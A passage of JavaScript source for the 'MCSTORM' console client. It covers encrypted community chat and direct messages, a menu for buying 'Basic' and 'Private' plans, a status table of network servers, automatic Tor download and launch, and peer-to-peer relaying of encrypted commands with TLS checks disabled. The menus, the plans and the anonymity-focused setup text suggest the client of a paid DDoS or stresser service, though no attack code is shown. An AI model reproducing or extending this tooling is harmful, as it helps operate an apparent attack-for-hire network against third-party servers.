'message', 1104 | message: '>', 1105 | prefix: '['+getUserToken(keys.public).slice(0,8)+'...] '+username 1106 | }]) 1107 | .then(async (answers) => { 1108 | if (await processCommunityMessage(answers.message)) { 1109 | openCommunityChat(); 1110 | } else { 1111 | prompt.currentPrompt = null; 1112 | showMainMenu(); 1113 | } 1114 | 1115 | }) 1116 | .catch((error) => { 1117 | catchInquirerError(error); 1118 | }); 1119 | } 1120 | 1121 | function updateContact(token, username) { 1122 | var updated = false; 1123 | 1124 | contacts.forEach((c, i, o) => { 1125 | if (c.token == token) { 1126 | o[i].username = username; 1127 | updated = true; 1128 | } 1129 | }) 1130 | if (updated) { 1131 | fs.writeFileSync("contacts.json", JSON.stringify(contacts)); 1132 | return true; 1133 | } 1134 | return false; 1135 | } 1136 | 1137 | function newContact(message) { 1138 | 1139 | displayBanner(); 1140 | currentWindow = "newContact"; 1141 | if (showHelp) { 1142 | console.log("") 1143 | console.log(message) 1144 | console.log("") 1145 | } 1146 | prompt([{ 1147 | type: 'input', 1148 | name: 'contact', 1149 | message: 'Enter user token:', 1150 | }]) 1151 | .then((answers) => { 1152 | if (answers.contact.length == 32) { 1153 | var key = null; 1154 | knownKeys.forEach(k => { 1155 | if (getUserToken(k) == answers.contact) key = k; 1156 | }) 1157 | if (key == null) { 1158 | newContact("The user is offline or not found".red + " Type `" + "exit".yellow + "` to go back"); 1159 | return; 1160 | } 1161 | contacts.push({ 1162 | username: null, 1163 | token: answers.contact, 1164 | key: key.toString('hex') 1165 | }); 1166 | fs.writeFileSync("contacts.json", JSON.stringify(contacts)) 1167 | openDirectMessages(); 1168 | } else if(answers.contact=="exit") { 1169 | openDirectMessages(); 1170 | } else { 1171 | newContact("Invalid user token".red + " Type `" + "exit".yellow + "` to go back") 1172 | } 1173 | 1174 | }) 1175 | .catch((error) => { 1176 | catchInquirerError(error); 1177 | }); 1178 | } 1179 | 1180 | function openDM(key, showHelp = false) { 1181 | prompt.currentPrompt.close(); 1182 | var userToken = getUserToken(Buffer.from(key, 'hex')); 1183 | currentWindow = "DM" + userToken; 1184 | if (showHelp) { 1185 | console.log("") 1186 | console.log("Type `" + "exit".yellow + "` to return to main menu.") 1187 | console.log("") 1188 | if (!fs.existsSync("./chatHistories/" + userToken)) { 1189 | fs.mkdirSync("./chatHistories/" + userToken) 1190 | } 1191 | if (!fs.existsSync("./chatHistories/" + userToken + "/history")) { 1192 | fs.writeFileSync("./chatHistories/" + userToken + "/history", "") 1193 | } 1194 | if (!fs.existsSync("./chatHistories/" + userToken + "/messages")) { 1195 | fs.mkdirSync("./chatHistories/" + userToken + "/messages") 1196 | } 1197 | var decryptedMessages = []; 1198 | console.log("Decrypting messages...") 1199 | fs.readFileSync("./chatHistories/" + userToken + "/history").toString().replace(/\r/g, "").split("\n").slice(-50).forEach(file => { 1200 | if (file == "") return; 1201 | var decrypted = JSON.parse(decryptStoredMessage(fs.readFileSync("./chatHistories/" + userToken + "/messages/" + file + ".json"), keys.pass).toString()); 1202 | const date = new Date(decrypted.time); 1203 | const dateString = date.toLocaleDateString(); 1204 | const timeString = date.toLocaleTimeString(); 1205 | decryptedMessages.push("[DM] ".green + ("[" + dateString + " " + timeString + "]").brightBlue + " [" + userToken.slice(0, 8) + "...] " + decrypted.username + " > " + decrypted.message) 1206 | }); 1207 | decryptedMessages.forEach(message => { 1208 | console.log(message) 1209 | }) 1210 | } 1211 | 1212 | prompt([{ 1213 | type: 'input', 1214 | name: 'directMessage', 1215 | message: '>', 1216 | prefix: '[DM]'.green+' ['+userToken.slice(0,8)+'...] '+username 1217 | }]) 1218 | .then(async (answers) => { 1219 | if (await processDirectMessage(answers.directMessage, key)) { 1220 | openDM(key) 1221 | } else { 1222 | prompt.currentPrompt = null; 1223 | showMainMenu(); 1224 | } 1225 | 1226 | }) 1227 | .catch((error) => { 1228 | catchInquirerError(error); 1229 | }); 1230 | } 1231 | 1232 | function openDirectMessages() { 1233 | currentWindow = "contacts"; 1234 | displayBanner(); 1235 | loadContacts(); 1236 | const contactMenu = [ 1237 | '+ Add contact' 1238 | ]; 1239 | contacts.forEach(contact => { 1240 | contactMenu.push(contact.username == null ? contact.token : contact.username); 1241 | }) 1242 | contactMenu.push("Return to Main Menu"); 1243 | 1244 | if (!fs.existsSync("./chatHistories")) { 1245 | fs.mkdirSync("./chatHistories") 1246 | } 1247 | prompt([{ 1248 | type: 'list', 1249 | name: 'contactMenu', 1250 | message: 'Choose contact:', 1251 | choices: contactMenu 1252 | }]) 1253 | .then((answers) => { 1254 | switch (answers.contactMenu) { 1255 | case "+ Add contact": 1256 | newContact("Obtain user token by copying it from public community chat or by receving it from someone by third party messaging application. Type `" + "exit".yellow + "` to go back"); 1257 | break; 1258 | case "Return to Main Menu": 1259 | showMainMenu(); 1260 | break; 1261 | default: 1262 | var found = false; 1263 | contacts.forEach(contact => { 1264 | if (contact.token == answers.contactMenu || contact.username == answers.contactMenu) { 1265 | openDM(contact.key, true); 1266 | found = true; 1267 | } 1268 | }) 1269 | if (!found) openDirectMessages() 1270 | return; 1271 | } 1272 | }) 1273 | .catch((error) => { 1274 | catchInquirerError(error); 1275 | }); 1276 | } 1277 | 1278 | function networkStatus() { 1279 | currentWindow = "network"; 1280 | try { 1281 | var columns = 3; 1282 | var head = []; 1283 | for (var i = 0; i < columns; i++) { 1284 | if(i!=0) head.push(""); 1285 | head.push("Network"); 1286 | head.push("Server name"); 1287 | } 1288 | var table = new Table({ 1289 | head: head 1290 | }); 1291 | currentData.n.sort((a,b)=>{return a.n>b.n?1:-1}) 1292 | 1293 | var percolumn = Math.ceil(currentData.n.length/columns); 1294 | var columns_data = []; 1295 | for (var i = 0; i < columns; i++) { 1296 | columns_data[i] = currentData.n.slice(i*percolumn,(i+1)*percolumn); 1297 | } 1298 | for (var i = 0; i < columns_data[0].length; i++) { 1299 | var row_data = []; 1300 | for(var j = 0; j < columns; j++) { 1301 | var color = "red"; 1302 | if(columns_data[j][i].o==1) { 1303 | color = "green"; 1304 | } 1305 | if(columns_data[j][i].a==1) { 1306 | color = "brightCyan"; 1307 | } 1308 | if(j!=0) row_data.push("") 1309 | row_data.push(columns_data[j][i].n[color]) 1310 | row_data.push(columns_data[j][i].s[color]) 1311 | } 1312 | table.push(row_data) 1313 | } 1314 | console.log(table.toString()) 1315 | console.log("Color legend: "+"Offline".red+" Online".green+" In use".brightCyan); 1316 | console.log(""); 1317 | console.log("Table does not update automatically :("); 1318 | backToMainMenu(); 1319 | } catch (e) { 1320 | console.log("Could not get network status. Please wait a few seconds before trying again.".red) 1321 | backToMainMenu() 1322 | return; 1323 | } 1324 | } 1325 | 1326 | function showMainMenu() { 1327 | currentWindow = "mainmenu"; 1328 | displayBanner(); 1329 | const mainManu = [ 1330 | 'MCSTORM console', 1331 | 'Browse Basic plans', 1332 | 'Browse Private plans', 1333 | 'Open Community chat', 1334 | 'Direct Messages', 1335 | 'Network status', 1336 | 'Known working links', 1337 | ]; 1338 | prompt([{ 1339 | type: 'list', 1340 | name: 'mainMenu', 1341 | message: 'Welcome! Please choose what you want to do:', 1342 | choices: mainManu 1343 | }]) 1344 | .then((answers) => { 1345 | switch (answers.mainMenu) { 1346 | case "MCSTORM console": 1347 | openConsole(true); 1348 | break; 1349 | case "Open Community chat": 1350 | openCommunityChat(true); 1351 | break; 1352 | case "Direct Messages": 1353 | openDirectMessages(); 1354 | break; 1355 | case "Browse Basic plans": 1356 | buyPlans(); 1357 | break; 1358 | case "Browse Private plans": 1359 | buyPrivatePlans(); 1360 | break; 1361 | case "Network status": 1362 | networkStatus(); 1363 | break; 1364 | case "Known working links": 1365 | showLinks(); 1366 | backToMainMenu() 1367 | break; 1368 | default: 1369 | showMainMenu(); 1370 | break; 1371 | } 1372 | }) 1373 | .catch((error) => { 1374 | catchInquirerError(error); 1375 | }); 1376 | } 1377 | 1378 | function backToMainMenu() { 1379 | prompt([{ 1380 | type: 'input', 1381 | name: 'back', 1382 | message: 'Press Enter to return to main menu', 1383 | }]) 1384 | .then((answers) => { 1385 | showMainMenu(); 1386 | }) 1387 | .catch((error) => { 1388 | catchInquirerError(error); 1389 | }); 1390 | } 1391 | 1392 | function showLinks() { 1393 | console.log("") 1394 | console.log(fs.readFileSync("links.txt").toString()); 1395 | console.log("") 1396 | } 1397 | 1398 | function catchInquirerError(error) { 1399 | console.log(error) 1400 | if (error.isTtyError) { 1401 | console.log("Could not load menu. Please try other device/terminal"); 1402 | process.exit(); 1403 | } else { 1404 | console.log("An unknown error occured."); 1405 | process.exit(); 1406 | } 1407 | } 1408 | 1409 | function setupTOR(platform) { 1410 | switch(platform) { 1411 | case "win32": 1412 | if(fs.existsSync("tor.exe")) { 1413 | var torMessages = true; 1414 | var tor = spawn("tor.exe", []); 1415 | tor.stdout.on('data', data => { 1416 | if(torMessages) process.stdout.write(data.toString()) 1417 | if(data.toString().includes("Bootstrapped 100%")) { 1418 | torMessages = false; 1419 | connectNodes(true) 1420 | initEncryption("Welcome back! Before you can begin, please enter your password for decryption."); 1421 | } 1422 | }) 1423 | } else { 1424 | var link = "https://archive.torproject.org/tor-package-archive/torbrowser/12.0.4/tor-expert-bundle-12.0.4-windows-x86_64.tar.gz" 1425 | const tordownload = fs.createWriteStream("tor.tar.gz"); 1426 | const request = https.get(link, res => { 1427 | res.pipe(tordownload); 1428 | tordownload.on("finish", () => { 1429 | tordownload.close(); 1430 | console.log("Download Completed, extracting..."); 1431 | var extract = tar.extract(); 1432 | var chunks = []; 1433 | 1434 | extract.on('entry', (header, stream, cb) => { 1435 | stream.on('data', chunk => { 1436 | if (header.name == 'tor/tor.exe') chunks.push(chunk); 1437 | }); 1438 | 1439 | stream.on('end', function() { 1440 | cb(); 1441 | }); 1442 | 1443 | stream.resume(); 1444 | }); 1445 | 1446 | extract.on('finish', function() { 1447 | fs.writeFileSync('tor.exe', Buffer.concat(chunks)); 1448 | fs.unlinkSync("tor.tar.gz") 1449 | var tor = spawn("tor.exe", []); 1450 | tor.stdout.on('data', data => { 1451 | process.stdout.write(data.toString()) 1452 | if(data.toString().includes("Bootstrapped 100%")) { 1453 | connectNodes(true) 1454 | initEncryption("Welcome back! Before you can begin, please enter your password for decryption."); 1455 | } 1456 | }) 1457 | }); 1458 | 1459 | fs.createReadStream('tor.tar.gz').pipe(zlib.createGunzip()).pipe(extract); 1460 | }); 1461 | }); 1462 | } 1463 | 1464 | break; 1465 | case "linux": 1466 | try { 1467 | var tor = spawn("tor", ['--version']); 1468 | tor.stdout.on('data', data => { 1469 | process.stdout.write(data.toString()) 1470 | if(data.toString().includes("Tor is running")) { 1471 | connectNodes(true) 1472 | initEncryption("Welcome back! Before you can begin, please enter your password for decryption."); 1473 | } 1474 | }) 1475 | } catch (e) { 1476 | console.log("Tor not installed.".red) 1477 | } 1478 | 1479 | break; 1480 | default: 1481 | console.log("TOR unsupportes platform".red) 1482 | process.exit(); 1483 | } 1484 | } 1485 | 1486 | const colorMap = { 1487 | '%red': '\x1b[31m', 1488 | '%blu': '\x1b[34m', 1489 | '%cya': '\x1b[36m', 1490 | '%whi': '\x1b[37m', 1491 | '%yel': '\x1b[33m', 1492 | '%grn': '\x1b[32m', 1493 | '%blk': '\x1b[30m', 1494 | '%mag': '\x1b[35m', 1495 | '%clr': '\x1b[0m', 1496 | '%bld': '\x1b[1m', 1497 | '%und': '\x1b[4m', 1498 | '%dred': '\x1b[31;1m', 1499 | '%dblu': '\x1b[34;1m', 1500 | '%dcya': '\x1b[36;1m', 1501 | '%dwhi': '\x1b[37;1m', 1502 | '%dyel': '\x1b[33;1m', 1503 | '%dgrn': '\x1b[32;1m', 1504 | '%dmag': '\x1b[35;1m' 1505 | }; 1506 | 1507 | const logoFiles = fs.readdirSync('./logos').filter(file => { 1508 | const extension = file.split('.').pop(); 1509 | return extension === 'txt' || extension === 'aftxt' || extension === 'hwtxt' ; 1510 | }); 1511 | 1512 | function displayBanner(original = false) { 1513 | console.clear(); 1514 | 1515 | if(original) { 1516 | console.log(""); 1517 | console.log(" ███╗ ███╗ ██████╗███████╗████████╗ ██████╗ ██████╗ ███╗ ███╗".yellow); 1518 | console.log(" ████╗ ████║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗████╗ ████║".yellow); 1519 | console.log(" ██╔████╔██║██║ ███████╗ ██║ ██║ ██║██████╔╝██╔████╔██║".yellow); 1520 | console.log(" ██║╚██╔╝██║██║ ╚════██║ ██║ ██║ ██║██╔══██╗██║╚██╔╝██║".yellow); 1521 | console.log(" ██║ ╚═╝ ██║╚██████╗███████║ ██║ ╚██████╔╝██║ ██║██║ ╚═╝ ██║".yellow); 1522 | console.log(" ╚═╝ ╚═╝ ╚═════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝".yellow); 1523 | console.log(""); 1524 | console.log("Warning! This is a testing version of the client. Current master key will not work in the future".red); 1525 | console.log(""); 1526 | return; 1527 | } 1528 | 1529 | const randomLogoFile = logoFiles[Math.floor(Math.random() * logoFiles.length)]; 1530 | const logoContent = fs.readFileSync(`./logos/${randomLogoFile}`, 'utf8'); 1531 | let coloredLogoContent = logoContent; 1532 | 1533 | if (randomLogoFile.endsWith('.txt')) { 1534 | coloredLogoContent = Object.keys(colorMap).reduce((content, code) => { 1535 | const escapeSequence = colorMap[code]; 1536 | return content.replace(new RegExp(code, 'g'), escapeSequence); 1537 | }, logoContent); 1538 | } else if (randomLogoFile.endsWith('.hwtxt') || randomLogoFile.endsWith('.aftxt')) { 1539 | coloredLogoContent = logoContent; 1540 | } 1541 | 1542 | console.log(coloredLogoContent + '\x1b[0m'); 1543 | } 1544 | 1545 | function removeNode(node) { 1546 | if (node==undefined) return; 1547 | knownNodes = knownNodes.filter(o=>o.host!==node.host); 1548 | var list = []; 1549 | knownNodes.forEach(n=>{ 1550 | list.push(n.host+":"+n.port); 1551 | }) 1552 | var listToSave = list.join("\n"); 1553 | fs.writeFileSync('nodes.txt', listToSave); 1554 | } 1555 | 1556 | function updateNode(node) { 1557 | knownNodes.forEach((n,i,o)=>{ 1558 | if(n.host==node.host) o[i]=node; 1559 | }) 1560 | } 1561 | 1562 | function connectNode(i, tor = false) { 1563 | if(i>=knownNodes.length) return; 1564 | var connectedNode = knownNodes[i]; 1565 | lastConnTry++; 1566 | var socket; 1567 | if(tor) { 1568 | const Agent = new SocksProxyAgent('socks5://127.0.0.1:9050') 1569 | socket = io("wss://" + connectedNode.host + ":" + connectedNode.port, { 1570 | rejectUnauthorized: false, 1571 | agent: Agent, 1572 | timeout: 60000 1573 | }); 1574 | } else { 1575 | socket = io("wss://" + connectedNode.host + ":" + connectedNode.port, { 1576 | rejectUnauthorized: false, 1577 | timeout: 10000 1578 | }); 1579 | } 1580 | 1581 | socket.on("connect", () => { 1582 | connectedNode.online = true; 1583 | updateNode(connectedNode); 1584 | connected++; 1585 | process.stdout.write(String.fromCharCode(27) + "]0;" + "MCSTORM | Connected: "+connected + String.fromCharCode(7)); 1586 | }); 1587 | 1588 | socket.on("disconnect", () => { 1589 | connected--; 1590 | process.stdout.write(String.fromCharCode(27) + "]0;" + "MCSTORM | Connected: "+connected + String.fromCharCode(7)); 1591 | }); 1592 | 1593 | socket.on("connect_error", (e) => { 1594 | 1595 | if(!connectedNode.online) { 1596 | socket.disconnect(); 1597 | removeNode(connectedNode) 1598 | } 1599 | 1600 | connectNode(lastConnTry, tor) 1601 | }); 1602 | 1603 | socket.on("redirectEncryptedMessage", message => { 1604 | if(message.pow==undefined||message.keyPow==undefined||message.hash==undefined||message.keyHash==undefined||message.messageId==undefined) { 1605 | // missing data 1606 | socket.disconnect(); 1607 | removeNode(connectedNode); 1608 | return; 1609 | } 1610 | 1611 | if(!message.hash.startsWith("0000")) { 1612 | // invalid message pow 1613 | socket.disconnect(); 1614 | removeNode(connectedNode); 1615 | return; 1616 | } 1617 | if(!message.keyHash.startsWith("000000")) { 1618 | // invalid key pow 1619 | socket.disconnect(); 1620 | removeNode(connectedNode); 1621 | return; 1622 | } 1623 | 1624 | var toVerify = { 1625 | messageId: message.messageId, 1626 | encryptedMessage: message.encryptedMessage, 1627 | encryptedKey: message.encryptedKey, 1628 | publicKey: message.publicKey 1629 | } 1630 | 1631 | if(sha256(JSON.stringify(toVerify)+message.pow)!=message.hash) { 1632 | // invalid hash 1633 | socket.disconnect(); 1634 | removeNode(connectedNode); 1635 | return; 1636 | } 1637 | if(sha256(message.publicKey.toString()+message.keyPow)!=message.keyHash) { 1638 | // invalid key hash 1639 | socket.disconnect(); 1640 | removeNode(connectedNode); 1641 | return; 1642 | } 1643 | 1644 | if (receivedMessages.includes(message.messageId)) return; 1645 | receivedMessages.push(message.messageId); 1646 | message.from = socket.id; 1647 | decryptMessage(message) 1648 | sockets.forEach(socket => { 1649 | if (!socket.connected) return; 1650 | if (message.from == socket.id) return; 1651 | socket.emit("redirectedEncryptedMessage", message); 1652 | }); 1653 | }); 1654 | sockets.push(socket); 1655 | } 1656 | 1657 | function connectNodes(tor = false) { 1658 | knownNodes = removeDuplicates(knownNodes, 'host'); 1659 | console.log(knownNodes) 1660 | saveNodeList(); 1661 | var stopConnect = false; 1662 | var countConnect = 2; 1663 | while(!stopConnect) { 1664 | countConnect++; 1665 | if(Math.random()*10>7) stopConnect = true; 1666 | } 1667 | 1668 | if(knownNodes.length 0; i--) { 1673 | var j = Math.floor(Math.random() * (i + 1)); 1674 | [knownNodes[i], knownNodes[j]] = [knownNodes[j], knownNodes[i]]; 1675 | } 1676 | 1677 | for(var i = 0; i < countConnect; i++) { 1678 | connectNode(i, tor) 1679 | } 1680 | } 1681 | 1682 | function randomTimeout(max) { 1683 | var timeout = Math.floor(Math.random()*max); 1684 | return timeout; 1685 | } 1686 | 1687 | 1688 | setInterval(async () => { 1689 | if (keys.private == null) return 1690 | var currentCommand = commandQueue.shift(); 1691 | if (currentCommand == undefined) { 1692 | if(Math.random()*10>9) { 1693 | currentCommand = await encryptMessage(JSON.stringify({knownNode:knownNodes[Math.floor(Math.random()*knownNodes.length)]}), false); 1694 | } else { 1695 | return; 1696 | } 1697 | } 1698 | setTimeout(()=>{ 1699 | sockets.forEach(socket => { 1700 | if (!socket.connected) return; 1701 | socket.emit("redirectedEncryptedMessage", currentCommand); 1702 | }) 1703 | }, randomTimeout(1000)); 1704 | }, 500) 1705 | 1706 | process.stdout.write(String.fromCharCode(27) + "]0;" + "MCSTORM | Connected: "+connected + String.fromCharCode(7)); 1707 | 1708 | if(!fs.existsSync("contype.txt")) { 1709 | displayBanner(true); 1710 | console.log("Before you begin, please select connection type.") 1711 | console.log(); 1712 | console.log("If you choose "+"Direct connection".cyan+", you will connect to the STORMNET with your own IP address. Your messages and command are encrypted and pseudo-anonymous. STORMNET nodes will see your IP address, but the connection will be significantly faster than using TOR. Your Internet Service Provider, Employer, School or Network manager can see that you connected to the STORMNET.") 1713 | console.log(); 1714 | console.log("If you choose "+"TOR connection".cyan+", you will connect to the STORMNET through The Onion Router, also known as the dark web. Your messages and commands are encrypted and fully anonymous. STORMNET nodes will not see your IP address, but the connection will be much slower with higher latency. Your Internet Service Provider, Employer, School or Network manager can see that you connected to The Onion Router, but they can't see that you connected to STORMNET.") 1715 | console.log(); 1716 | const connectionMenu = [ 1717 | 'Direct connection', 1718 | 'TOR connection (dark web)' 1719 | ]; 1720 | prompt([{ 1721 | type: 'list', 1722 | name: 'connMenu', 1723 | message: 'Please select connection type:', 1724 | choices: connectionMenu 1725 | }]) 1726 | .then((answers) => { 1727 | 1728 | switch (answers.connMenu) { 1729 | case "Direct connection": 1730 | connType = "direct"; 1731 | fs.writeFileSync("contype.txt", connType) 1732 | connectNodes(); 1733 | initEncryption("Welcome back! Before you can begin, please enter your password for decryption."); 1734 | break; 1735 | case "TOR connection (dark web)": 1736 | connType = "TOR"; 1737 | fs.writeFileSync("contype.txt", connType) 1738 | console.log("Setting up TOR for "+process.platform+"...") 1739 | setupTOR(process.platform) 1740 | break; 1741 | } 1742 | }) 1743 | .catch((error) => { 1744 | catchInquirerError(error); 1745 | }); 1746 | } else { 1747 | switch (fs.readFileSync("contype.txt").toString()) { 1748 | case "direct": 1749 | connType = "direct"; 1750 | fs.writeFileSync("contype.txt", connType) 1751 | connectNodes(); 1752 | initEncryption("Welcome back! Before you can begin, please enter your password for decryption."); 1753 | break; 1754 | case "TOR": 1755 | connType = "TOR"; 1756 | fs.writeFileSync("contype.txt", connType) 1757 | console.log("Setting up TOR for "+process.platform+"...") 1758 | setupTOR(process.platform) 1759 | break; 1760 | default: 1761 | console.log("Invalid connection type in contype.txt".red); 1762 | process.exit() 1763 | break; 1764 | } 1765 | } 1766 | --------------------------------------------------------------------------------